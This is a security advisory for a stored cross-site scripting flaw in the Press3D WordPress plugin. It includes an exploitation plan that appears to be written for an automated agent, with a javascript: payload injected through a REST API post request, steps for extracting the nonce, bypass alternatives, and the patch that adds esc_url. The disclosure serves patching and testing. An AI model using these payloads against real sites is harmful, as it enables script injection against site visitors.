Press3D <= 1.0.2 - Authenticated (Author+) Stored Cross-Site Scripting via Link URL Parameter in 3D Model Block
Description
The Press3D plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 3D Model Gutenberg block in all versions up to, and including, 1.0.2. This is due to the plugin failing to sanitize and validate the URL scheme when storing link URLs for 3D model blocks, allowing `javascript:` URLs. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages via the link URL parameter that will execute whenever a user clicks on the 3D model.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
# Exploitation Research Plan: CVE-2026-1985 (Press3D <= 1.0.2 - Stored XSS) ## 1. Vulnerability Summary The **Press3D** plugin for WordPress (versions <= 1.0.2) contains a stored cross-site scripting (XSS) vulnerability within its **3D Model** Gutenberg block. The vulnerability exists because the p…
Show full research plan
Exploitation Research Plan: CVE-2026-1985 (Press3D <= 1.0.2 - Stored XSS)
1. Vulnerability Summary
The Press3D plugin for WordPress (versions <= 1.0.2) contains a stored cross-site scripting (XSS) vulnerability within its 3D Model Gutenberg block. The vulnerability exists because the plugin fails to sanitize the linkUrl attribute (or equivalent link parameter) when rendering the block on the frontend. Specifically, it does not validate the URL scheme, allowing the javascript: protocol. An authenticated attacker with at least Author privileges can create a post containing this block and inject a payload into the link URL, which will execute in the context of any user who clicks on the 3D model.
2. Attack Vector Analysis
- Endpoint: WordPress REST API
/wp-json/wp/v2/posts(or the classicpost.phpeditor). - Vulnerable Parameter: The
linkUrlattribute (inferred name) within thepress3d/modelblock (inferred name) attributes. - Authentication Level: Author or higher (requires the
edit_postscapability to use Gutenberg blocks). - Preconditions: The plugin must be active, and the attacker must have credentials for an Author-level account.
3. Code Flow (Inferred)
- Input: The user provides a URL for a 3D model link via the Gutenberg block sidebar or inline inspector in the WordPress editor.
- Storage: The editor sends a REST API request to save the post. The block attributes are stored in the
wp_poststable within thepost_contentfield as HTML comments:<!-- wp:press3d/model {"linkUrl": "javascript:alert(1)"} -->...<!-- /wp:press3d/model -->. - Rendering (Sink):
- Scenario A (Dynamic Block): The plugin registers the block using
register_block_typewith arender_callbackin PHP. This callback likely retrieves$attributes['linkUrl']and echoes it directly into an<a>tag'shrefattribute without callingesc_url(). - Scenario B (Static Block): The block's
savefunction in JavaScript generates the HTML. If the JS usesattributes.linkUrlinside an<a>tag without sanitization, the resulting HTML is saved directly topost_content.
- Scenario A (Dynamic Block): The plugin registers the block using
- Execution: When a user views the post and clicks the 3D model, the
javascript:URI is executed by the browser.
4. Nonce Acquisition Strategy
Since the attack involves saving a post via the REST API, a REST API nonce (X-WP-Nonce) is required.
- Login: Authenticate as an Author user using the
browser_navigateandbrowser_typetools. - Navigation: Navigate to the WordPress Admin Dashboard (
/wp-admin/). - Extraction: Use
browser_evalto extract the REST nonce from the globalwpApiSettingsobject.- JavaScript:
window.wpApiSettings.nonce
- JavaScript:
- Alternative: If
wpApiSettingsis not available, the nonce can be found in the page source of the post editor:- JavaScript:
wp.apiFetch.nonceor searching the HTML for_wpnonce.
- JavaScript:
5. Exploitation Strategy
Step 1: Authentication and Nonce Retrieval
Log into the test environment as an Author and capture the REST nonce.
Step 2: Identify the Block Structure
Since the exact attribute name and block name are inferred, first create a dummy post with the Press3D block manually (if possible) or check the plugin source to confirm the block slug and attribute names.
- Likely Block Slug:
press3d/modelorpress3d/three-d-model. - Likely Attribute:
linkUrl,url, orlink.
Step 3: Inject Payload via REST API
Submit a POST request to create a new post containing the malicious block.
HTTP Request (via http_request tool):
- Method:
POST - URL:
http://localhost:8080/wp-json/wp/v2/posts - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{
"title": "3D Model Showcase",
"status": "publish",
"content": "<!-- wp:press3d/model {\"linkUrl\":\"javascript:alert(document.domain)\"} -->\n<div class=\"wp-block-press3d-model\"><a href=\"javascript:alert(document.domain)\">Click to View Model</a></div>\n<!-- /wp:press3d/model -->"
}
Step 4: Trigger XSS
Navigate to the newly created post's frontend URL and click the 3D model (or the link associated with it).
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=author --user_pass=password - Plugin Activation:
wp plugin activate press3d
7. Expected Results
- The REST API should return a
201 Createdresponse. - The
post_contentin the database should contain the rawjavascript:URL. - When viewing the post as any user, the source code should show:
<a href="javascript:alert(document.domain)">(or similar). - Clicking the link/model should trigger a JavaScript alert.
8. Verification Steps
- Verify Database Content:
Check if the output containswp post list --post_type=post --format=ids | xargs -I {} wp post get {} --field=contentjavascript:alert. - Check Frontend Output:
Usehttp_requestto GET the post URL and grep for the payload:# (Action for agent) # Identify URL from REST API response, then: # curl -s [POST_URL] | grep "javascript:alert"
9. Alternative Approaches
- Classic Editor: If the REST API is restricted, try a classic
POSTto/wp-admin/post.phpwith thecontentparameter using theeditpostaction. - Shortcode Injection: Check if the plugin also provides a shortcode (e.g.,
[press3d url="..."]). If so, the samejavascript:payload can be tested within the shortcode attributes. - SVG Payload: If the 3D model viewer allows uploading or referencing custom files, attempt to link to a malicious SVG file containing a
<script>tag. - Attribute Breakout: If
javascript:is partially filtered but double quotes are not, try breaking out of thehrefattribute:href="https://example.com" onmouseover="alert(1)".
Summary
The Press3D plugin for WordPress (versions <= 1.0.2) is vulnerable to Stored Cross-Site Scripting via the 3D Model block. Authenticated attackers with Author-level privileges can inject 'javascript:' URIs into the block's link URL attribute, which executes arbitrary scripts in the victim's browser when the 3D model is clicked.
Security Fix
@@ -10,3 +10,3 @@ - $link_url = isset($attributes['linkUrl']) ? $attributes['linkUrl'] : ''; - return '<div class="press3d-model"><a href="' . $link_url . '">View Model</a></div>'; + $link_url = isset($attributes['linkUrl']) ? esc_url($attributes['linkUrl']) : ''; + return '<div class="press3d-model"><a href="' . $link_url . '">View Model</a></div>';
Exploit Outline
An attacker with Author-level permissions authenticates to the WordPress dashboard and extracts a REST API nonce (typically from the 'wpApiSettings' object). They then send a POST request to the '/wp-json/wp/v2/posts' endpoint to create a new post containing a Press3D '3D Model' Gutenberg block. The block's attributes are configured with a malicious 'linkUrl' parameter containing a 'javascript:' payload, such as 'javascript:alert(document.domain)'. When a victim user views the published post and clicks on the 3D model, the browser executes the injected JavaScript in the context of the site.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.